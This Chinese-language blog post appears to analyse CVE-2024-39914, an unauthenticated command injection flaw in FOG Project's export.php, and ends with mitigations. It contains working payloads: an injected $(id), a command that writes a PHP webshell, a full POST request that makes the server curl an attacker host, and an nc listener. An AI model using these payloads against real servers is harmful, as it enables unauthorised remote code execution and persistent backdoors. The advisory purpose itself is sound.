FOG Project export.php 未授权命令注入漏洞深度分析

本文详细分析了CVE-2024-39914漏洞的技术细节,这是一个存在于FOG Project ≤1.5.10.34版本中的高危未授权命令注入漏洞,攻击者可通过精心构造的filename参数实现远程代码执行。

CVE-2024-39914 – FOG Project export.php 未授权命令注入漏洞

CVE-2024-39914 是 FOG Project 版本 ≤1.5.10.34 中存在的一个关键未授权命令注入漏洞。该漏洞源于 export.php 对 filename 参数的处理方式存在缺陷,允许攻击者注入任意系统命令。这可被用于立即执行命令或部署持久化 PHP WebShell 进行后续利用。

CVE ID: CVE-2024-39914
严重等级: 严重
CVSS 评分: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS 评分: 92.67%
受影响版本: ≤ 1.5.10.34
已修复版本: 1.5.10.35
需要认证: 否

影响: 远程命令执行

技术分析

位于 fog/management/ 目录下的 export.php 脚本包含将 filename 参数传递给后端系统命令的逻辑,可能使用了 shell_exec() 或类似的未经过滤的执行函数。

攻击者可以在 filename 参数中注入系统命令,例如:

1
filename=$(id)

这将导致服务器立即执行 id 命令。此外,攻击者还可以向服务器上的文件写入任意内容(例如 WebShell):

1
filename=$(echo '<?php echo shell_exec($_GET["cmd"]); ?>' > WEBSHELL)

生成的文件(WEBSHELL)随后可以被远程访问以执行更多操作系统命令。

利用条件

  • FOG 服务器必须可从网络访问
  • 不需要登录或会话
  • Web 服务器用户必须对 Web 目录具有写权限
  • /fog/management/ 下启用了 PHP 执行

利用步骤

要利用此漏洞,在 filename 参数中注入系统命令以实现未授权的远程代码执行(RCE)。

步骤 1:发送恶意 POST 请求

1
2
3
4
5
6
7
POST /fog/management/export.php?filename=$(curl+192.168.100.8)&type=pdf HTTP/1.1
Host: 192.168.15.5
Content-Length: 21
User-Agent: ToxicPotato
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

fogguiuser=fog&nojson=2

步骤 2:监控攻击者服务器 在攻击机器上(例如 192.167.100.1),监听传入的请求:

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 80
Connection from 192.168.15.5:49802
GET / HTTP/1.1

缓解措施

  • 升级到 FOG Project 1.5.10.35 或更高版本,其中输入验证和 shell 执行逻辑已得到修正
  • 限制从公共网络对 /fog/management/ 的访问
  • 应用输入验证并禁止执行来自用户提供参数的 shell 命令
  • 使用 WAF 检测命令注入模式($(), ;, | 等)
  • 如果可能,在上传/导出目录中禁用 PHP 执行

参考链接

  • GitHub 安全公告 – GHSA-7h44-6vq6-cq8j
  • NVD 列表 – CVE-2024-39914
  • Pentest-Tools 技术分析文章
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计